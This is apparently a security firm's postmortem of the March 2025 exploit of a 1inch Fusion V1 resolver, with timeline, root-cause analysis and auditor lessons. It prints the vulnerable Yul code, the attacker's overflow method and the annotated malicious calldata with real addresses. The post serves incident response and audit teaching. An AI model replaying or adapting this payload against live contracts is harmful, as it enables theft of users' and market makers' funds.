Yul Calldata Corruption — 1inch Postmortem

A postmortem of one of the toughest DeFi exploits of 2025: how a Yul assembly calldata handling bug in a 1inch resolver contract was exploited, and what the class of bug looks like.

· 9 MIN READ · DECURITY

Yul Calldata Corruption — 1inch Postmortem

This is an overview of one of the toughest DeFi exploits which happened around 5 pm UTC on March 5, 2025.

TL;DR: The old version of 1inch Settlement had a callback option for takers to resolve all matched orders at the end of the interaction processing. The callback was supposed to be executed only when the resolver contract itself is the taker. However, due to a calldata corruption vulnerability in the order suffix processing, it was possible to overwrite the resolver address and call arbitrary resolver. This resulted in a loss for the market maker TrustedVolumes. Most of the funds were returned, the attacker walked away with a bounty.

Timeline

  • Mar-05–2025 05:31 PM UTC: We noticed a hack alert related to 1inch in the Defimon dashboard and Telegram channel: https://t.me/defimon_alerts/535
  • Mar-05–2025 05:38 PM UTC: We started looking into it, some funds were still intact, the reason was unclear.
  • Mar-05–2025 05:47 PM UTC: Someone made bad trades on 1inch or got phished?
  • Mar-05–2025 05:53 PM UTC: We decided that this is a bug in the resolver’s implementation.
  • Mar-05–2025 05:54 PM UTC: The hacker finished draining the funds.
  • Mar-05–2025 05:55 PM UTC: We became confident this is a 3rd party resolver hack and notified the 1inch team.
  • Mar-05–2025 06:10 PM UTC: We joined the war room, started brainstorming the reasons and looking for other affected resolver implementations.
  • Mar-05–2025 06:34 PM UTC: The hacker sent on-chain message “Can I have bounty?” to the victim: https://etherscan.io/tx/0xf70d0aa5a3692540fc484945e9f50b672e4b752ff366a03d92cd5e1a1b459301, TrustedVolumes later responded and offered to negotiate.
  • Mar-05–2025 11:40 PM UTC: We finished the analysis and identified the root cause and exploit mechanics.
  • Mar-05–2025 11:55 PM UTC: The negotiations concluded successfully: https://etherscan.io/idm?addresses=0xbbb587e59251d219a7a05ce989ec1969c01522c0,0x1ef9bfb1e7480c01d3d00e9bca5f29625c6c4806&type=1.
  • Mar-05–2025 11:59 PM UTC: The attacker started returning the funds to the victim after successful negotiation.
  • Mar-06–2025 04:12 AM UTC: The attacker returned all the funds except for a fractional bounty.

Artifacts

Victim addresses:

Attacker addresses:

Attack transactions:

Indicator of compromise function signature for the resolvers:

  • 0x1944799f (resolveOrders(address,bytes,bytes))

Technical Analysis

The exploit targeted a third-party resolver contract integrated with the the Fusion V1 protocol. 1inch Fusion is an efficient gasless swap protocol built on top of 1inch Limit Order Protocol. Fusion V1 was deprecated mid-2023 but was not destructed for the purpose of backwards compatibility for the users who still needed the old version.

The code of Fusion V1 including the affected contracts has undergone numerous audits by 9 audit companies, some of the reports were published: https://github.com/1inch/1inch-audits/tree/master/Fusion%20mode%20and%20Token-plugins.

Looking at one of the transactions, we can see that it looks like a normal limit order protocol swap under the Settlement contract:

https://app.blocksec.com/explorer/tx/eth/0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6
https://app.blocksec.com/explorer/tx/eth/0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6

However, the result of the transaction is as follows:

The taker and the maker in this swap are both attacker addresses. They swap 6 wei USDT for 1,000,000 USDC which would be impossible without money because the Limit Order Protocol ensures that all the amounts are actually transferred. In this case, the one paying for this swap is the victim, the 0xb02f contract transfers 2,000,000 USDC to Settlement.

If we go deeper in the execution traces, we’ll see that Settlement calls the resolveOrders function in 0xb02f:

Ok let’s decompile the victim contract:

https://app.dedaub.com/ethereum/address/0xb02f39e382c90160eb816de5e0e428ac771d77b5/decompiled
https://app.dedaub.com/ethereum/address/0xb02f39e382c90160eb816de5e0e428ac771d77b5/decompiled

Looks like the contracts transfers arbitrary amounts of arbitrary tokens to the caller but the caller has to be the Settlement contract. Also, the first argument should be this contract’s address (this is a sanity check).

This looks very similar to the example resolver contract provided by 1inch:

https://github.com/1inch/fusion-resolver-example/blob/31834fe1c58e73021ebbdfae05168bb942719790/contracts/ResolverExample.sol
https://github.com/1inch/fusion-resolver-example/blob/31834fe1c58e73021ebbdfae05168bb942719790/contracts/ResolverExample.sol

At this point, we thought that all the third-party resolvers had a quite obvious access control vulnerability by design and were shocked that all of us missed it. Turns out, this was not exactly the case. The victim indeed didn’t audit the resolver contract and didn’t update it even when the protocol was deprecated and the interfaces have been changed.

Additionally, the victim didn’t have real-time threat detection and couldn’t quickly respond to the hack although there was a chance to do this in an automated way.

However, we realized that the resolver address sanity check is actually important which can be seen in the old implementation of Settlement: https://github.com/1inch/limit-order-settlement/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/Settlement.sol.

The attacker calls settleOrders which calls _settleOrder(data, msg.sender, 0, new bytes(0)). The second argument is the resolver address which is then added to the order suffix and passed further down the recursion. Therefore, there’s no intended control over the resolver field in the suffix: it should be the resolver contract who fills the order and effectively calls the resolveOrders function via re-entrancy.

But somehow in the attack transaction the resolver field was overwritten. Time to debug! By following the execution trace in Phalcon debugger, we can get down to the final _settleOrder call where the incorrect resolver field was initialized:

https://app.blocksec.com/explorer/tx/eth/0x74bc4d5dc7f8da468788da6087bb9f73465966ab5b8cf9cf1053d98e78a9bf96?line=267&debugLine=267
https://app.blocksec.com/explorer/tx/eth/0x74bc4d5dc7f8da468788da6087bb9f73465966ab5b8cf9cf1053d98e78a9bf96?line=267&debugLine=267

Now let’s take a look at the _settleOrder source code:

function _settleOrder(bytes calldata data, address resolver, uint256 totalFee, bytes memory tokensAndAmounts) private {
    OrderLib.Order calldata order;
    assembly {
        order := add(data.offset, calldataload(data.offset))
    }
    if (!order.checkResolver(resolver)) revert ResolverIsNotWhitelisted();
    TakingFee.Data takingFeeData = order.takingFee();
    totalFee += order.salt.getFee() * _ORDER_FEE_BASE_POINTS;

    uint256 rateBump = order.rateBump();
    uint256 suffixLength = DynamicSuffix._STATIC_DATA_SIZE + tokensAndAmounts.length + 0x20;
    IOrderMixin limitOrderProtocol = _limitOrderProtocol;

    assembly {
        function memcpy(dst, src, len) {
            pop(staticcall(gas(), 0x4, src, len, dst, len))
        }

        let interactionLengthOffset := calldataload(add(data.offset, 0x40))
        let interactionOffset := add(interactionLengthOffset, 0x20)
        let interactionLength := calldataload(add(data.offset, interactionLengthOffset))

        { // stack too deep
            let target := shr(96, calldataload(add(data.offset, interactionOffset)))
            if or(lt(interactionLength, 20), iszero(eq(target, address()))) {
                mstore(0, _WRONG_INTERACTION_TARGET_SELECTOR)
                revert(0, 4)
            }
        }

        // Copy calldata and patch interaction.length
        let ptr := mload(0x40)
        mstore(ptr, _FILL_ORDER_TO_SELECTOR)
        calldatacopy(add(ptr, 4), data.offset, data.length)
        mstore(add(add(ptr, interactionLengthOffset), 4), add(interactionLength, suffixLength))

        {  // stack too deep
            // Append suffix fields
            let offset := add(add(ptr, interactionOffset), interactionLength)
            mstore(add(offset, 0x04), totalFee)
            mstore(add(offset, 0x24), resolver)
            mstore(add(offset, 0x44), calldataload(add(order, 0x40)))  // takerAsset
            mstore(add(offset, 0x64), rateBump)
            mstore(add(offset, 0x84), takingFeeData)
            let tokensAndAmountsLength := mload(tokensAndAmounts)
            memcpy(add(offset, 0xa4), add(tokensAndAmounts, 0x20), tokensAndAmountsLength)
            mstore(add(offset, add(0xa4, tokensAndAmountsLength)), tokensAndAmountsLength)
        }

        // Call fillOrderTo
        if iszero(call(gas(), limitOrderProtocol, 0, ptr, add(add(4, suffixLength), data.length), ptr, 0)) {
            returndatacopy(ptr, 0, returndatasize())
            revert(ptr, returndatasize())
        }
    }
}

We can see that the data structure with the added suffix is stored in the newly allocated memory pointed by ptr. The suffix is written to a certain offset calculated in an unsafe manner: ptr + interactionOffset + interactionLength. This overflows because interactionLength is a full 32-byte word controlled by the attacker. Therefore, the pointer can be decreased effectively writing the suffix to a different place.

The attacker used the following approach:

  1. Create a normal order swapping a few wei for millions USD.
  2. Pad it with null-bytes.
  3. Specify an invalid interactionLength value (0xffff…fe00 = -512).
  4. Add a fake suffix structure as an interaction.

As a result, the real suffix gets written to the padding allocated before the fake suffix structure. Then the interaction structure is treated as a suffix by the DynamicSuffix library: https://github.com/1inch/fusion-protocol/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/libraries/DynamicSuffix.sol#L32.

The resulting calldata passed to _settleOrder looks like this:

        000000000000000000000000000000000000000000000000000000e0
0000000000000000000000000000000000000000000000000000000000000240
0000000000000000000000000000000000000000000000000000000000000460 interactionLengthOffset
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000019bfc71d43c3492926d4a9a6c781f36706970c9
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7
000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48
000000000000000000000000019bfc71d43c3492926d4a9a6c781f36706970c9
000000000000000000000000bbb587e59251d219a7a05ce989ec1969c01522c0
000000000000000000000000a88800cd213da5ae406ce248380802bd53b47647
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000140
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
// this is where the real suffix will be written because of the underflow
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
// interactionLength = -512
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00
// this is the interaction target (Settlement address) parsed here: https://github.com/1inch/fusion-protocol/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/Settlement.sol#L77
a88800cd213da5ae406ce248380802bd53b47647
// this is the _FINALIZE_INTERACTION flag (see `interaction.offset := add(cd.offset, 1))`
01
//this is the victim, see `address target = address(bytes20(interaction))`
b02f39e382c90160eb816de5e0e428ac771d77b5
0000000000000000000000000000000000000000000000 // padding
0000000000000000000000000000000000000000000000000000000000000000 // totalFee
000000000000000000000000b02f39e382c90160eb816de5e0e428ac771d77b5 // resolver
000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 // token
0000000000000000000000000000000000000000000000000000000000000000 // rateBump
0000000000000000000000000000000000000000000000000000000000000000 // takingFee
000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 // token
0000000000000000000000000000000000000000000000000000000000000001 // amount
0000000000000000000000000000000000000000000000000000000000000040 // tokensAndAmounts length in bytes
00000000 // padding

This looks like a typical pwnable heap binary exploitation challenge on a CTF! Not a typical smart contract hack though.

Thoughts and Lessons Learned

Since Decurity was one of the teams who audited Fusion V1, we did internal investigation and reviewed the notes, artifacts, audit reports, git commits, and chat logs to understand how this attack vector was missed.

A number of reasons led to this and we’ll reflect on them here and invite other auditors to do the same. We are certain that all of us could do a better job.

When we started the audit in October 2022, there was no vulnerable code in the repository. It was introduced later in November 2022 with a significant code refactoring and upgrade (the whole code was rewritten from Solidity to Yul). We took additional time to review the updated code during the re-testing of the previous findings.

Then, there were a few more rounds of audits with many firms in December 2022. The resolver code was not in scope, so auditors probably didn’t pay much attention to this flow involving the resolveOrders call.

Later, in March 2023, a new round of audits was announced. Prior to the start, on March 27, we had internally flagged the _settleOrder code as vulnerable to integer overflow while assessing the scope.

But on March 28, we found out that in the new implementation, the code was completely rewritten again and we didn’t report and investigate the issue further.

We didn’t realize that the older code was already deployed and would stay the same. Also, we were not sure if there’s a real security impact. So, the previous vulnerable implementation was not reviewed by anyone anymore until the hacker did.

All of this is very regrettable and amusing considering there were so many audits done by good teams and considering how strong is the 1inch team. The bug lived out there for more than 2 years.

What could we and other auditors do better?

  1. Clarify the threat model, all the assumptions and the scope. Explicitly talk through what parts of the code should be audited, what are assumptions about the external interactions (e.g. resolvers), etc.
  2. If the code changes during the audit, demand additional time or explicitly disclose the actual audit worktime per scope parts in the report. If we allocated 2 weeks and the new code was introduced in the week 2, this code should be considered unaudited.
  3. If there’re informational findings other than very obvious things like address(0) checks, still put them in the report. Spamming the report with non-exploitable issues is bad but better safe than sorry.
  4. Verify what could was actually deployed and validate all findings against the previously deployed contracts to plan emergency upgrade in case if there’s a risk.
  5. If there’re any unfinished ideas or concerns, share them with the customer and demand discussion and triaging of those ideas.
  6. Never think that you’re safe if 10 other audit firms also audited the same code. Always treat the code as vulnerable, and think like you’re the only one who can save it from a disaster.

How the attacker managed to find the bug that 9 teams didn’t find? I think it’s pretty understandable:

  1. They were not doing a full audit, most likely they found a rich unverified contract (0xb02f) and decided to investigate, then went down the rabbit hole to find 1 specific bug that lets them to call resolveOrders. They were only thinking of 1 attack vector which is more similar to solving a CTF chalenge rather than doing a full audit.
  2. No one used this bug in more than 2 years not only because it’s quite complex but also because everyone saw that the code was audited 1337 times and must be secure.

Stay safe, both on and off chain, friends.

As sad as this incident is, we are transparent and execute best efforts when doing the audits and doing incident response. The audits are in fact time-boxed security reviews and it is mathematically impossible to fully guarantee the security properties in general case.

Also, remember that apart from the audits, it is also important to have OPSEC, DevSecOps, and post-deployment security measures such as monitoring and regular updates.

If you need Real-Time Threat Detection or a Tier-1 Security Audit for your smart contracts or off-chain components, do not hesitate to submit the contact form or reach out on Telegram. Check out our previous audits at GitHub.

Yul Calldata Corruption — 1inch Postmortem was originally published in Decurity on Medium, where people are continuing the conversation by highlighting and responding to this story.

RELATED1INCH NETWORK AUDITS

Need this expertise on your protocol?

The researchers who write this are the ones who run the audits.

REQUEST FORM